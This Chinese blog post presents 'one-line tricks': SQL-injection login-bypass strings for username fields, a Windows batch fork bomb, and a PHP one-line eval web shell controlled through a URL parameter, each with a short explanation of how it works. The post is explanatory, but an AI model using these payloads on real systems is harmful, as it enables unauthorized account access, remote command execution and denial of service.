当前位置:网站首页>【云原生】那些看起来很牛X,原理却很简单的一行代码
【云原生】那些看起来很牛X,原理却很简单的一行代码
2022-07-04 03:52:00 【士别三日wyx】
「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
1. 万能密码
没错,就是字面意思,只需要知道账号,然后输入下面这行代码:
账号'and 1 -- a
比如,很多网站的默认账号都是admin,我们就输入 admin'and 1 -- a,密码随便写:

点击登录,成功登录admin账号。

实际上,这是SQL注入的一种利用方式,对于存在注入点的网站,都可以使用。
一般来说,登录功能的代码都是下面这种格式:
select * from user where username = '' and password = '' limit 1,1
我们输入的账号 admin'and 1 -- a和密码1,拼接到SQL里面:
select * from user where username = 'admin'and 1 -- a' and password = '1' limit 1,1
-- 是注释,注释后面的内容不参与编译:
select * from user where username = 'admin'and 1
1 会被转化为 True
select * from user where username = 'admin'and True
只要存在 admin 这个账号,SQL就能查询成功,从而实现登录。
2. 万能账号
上面的代码你得知道账号,但这个你连账号都不用知道:
a' or 1 -- a
在账号处输入 a' or 1 -- a,密码随便写:

点击登录,成功。

原理跟上面大同小异,也是SQL注入的一种利用方式,适用于存在注入的网站。
参数拼接到SQL以后,是下面这样:
select * from user where username = 'a' or 1 -- a' and password = '' limit 1,1
-- 注释后面不编译,1转换为True:
select * from user where username = 'a' or True
or 是或的意思,两边有一个True,结果就返回True,实际执行的SQL是这样的:
select * from user where True
3. fork炸弹
新建一个文本文件,输入 %0|%0

后缀名改成 .bat,有杀毒软件的话应该会提示,建议在虚拟机运行。

打开任务管理器后,双击运行。
你会看到先是CPU跑满,再是内存跑满,然后提示内存不足,然后……
原理其实很简单,就是不停的创建进程,创建速度可以参考小学三年级学过的指数增长。fork炸弹会不停的消耗资源,当资源耗尽时就会蓝屏或者黑屏,重启电脑就可以了。
提示:运行的同时执行taskkill /f /im cmd.exe,会有神奇的事情发生。
限制单个用户可创建的进程数上线,可以在一定程度上防止fork炸弹。
4. 一句话牧马
电影中,黑客通常会在别人电脑中植入后门程序,然后控制别人的电脑,听起来很酷对吧?实际上,最简单的后门,一行代码就够了。
以PHP为例,将包含这行代码的文件,上传到网站的web目录下:
<?[email protected]eval($_GET['shell']);?>
访问这个文件,就能控制别人了。
原理其实很简单,地址栏访问这个文件,利用参数传递命令:
127.0.0.1/shell.php?shell='ls'
后台接收GET请求传递的参数:
<?[email protected]eval('ls');?>
配合@eval 函数可以执行系统命令,从而起到控制的效果。
5. 清理垃圾
PS:有粉丝反应,没有这行代码是没有灵魂的,那就再添一个吧。
很多公司在招聘员工的时候,都会要求应聘者有一定的优化能力。
当你的老板要求你优化代码,提升系统的运行效率时,就可以打出下面这行代码,获得大幅度升职加薪:

边栏推荐
- I.MX6U-ALPHA开发板(模仿STM32驱动开发实验)
- Global exposure and roller shutter exposure of industrial cameras
- leetcode刷题:二叉树05(翻转二叉树)
- 量子力学习题
- 2020 Bioinformatics | TransformerCPI
- 10 reasons for not choosing to use free virtual hosts
- The three-year revenue is 3.531 billion, and this Jiangxi old watch is going to IPO
- Two commonly used graphics can easily realize data display
- vim正确加区间注释
- 毕业设计:设计秒杀电商系统
猜你喜欢

干货!基于GAN的稀有样本生成

NFT新的契机,多媒体NFT聚合平台OKALEIDO即将上线

微信公众号无限回调授权系统源码

Rhcsa-- day one

Leetcode skimming: binary tree 04 (sequence traversal of binary tree)

【微信小程序】好看的轮播图组件

RPC技术

2021 RSC | Drug–target affinity prediction using graph neural network and contact maps

Flink学习7:应用程序结构
![[microservice openfeign] @feignclient detailed explanation](/img/8d/83bcde1355366c7c88a7a9ade7f9eb.png)
[microservice openfeign] @feignclient detailed explanation
随机推荐
Why use node
(指針)自己寫一個比較字符串大小的函數,功能與strcmp類似。
【罗技】m720
RPC技术
One click compilation and deployment of MySQL
Idea configuration 360zip open by default -- external tools
架构训练毕业设计+总结
Activiti7 task service - process variables (setvariable and setvariablelocal)
C language bidirectional linked list first edition
The interactive solution of JS and app in the H5 page embedded in app (parameters can be transferred and callbacks can be made)
RHCSA 03 - 文件的基础权限
VIM mapping command
[microservices openfeign] two degradation methods of feign | fallback | fallbackfactory
Leetcode skimming: binary tree 07 (maximum depth of binary tree)
Touch and take you to implement an EventEmitter
分布式系统:what、why、how
Redis:有序集合zset类型数据操作命令
vim映射命令
LNK2038 检测到“RuntimeLibrary”的不匹配项: 值“MD_DynamicRelease”不匹配值“MDd_DynamicDebug”(main.obj 中)
Pytest multi process / multi thread execution test case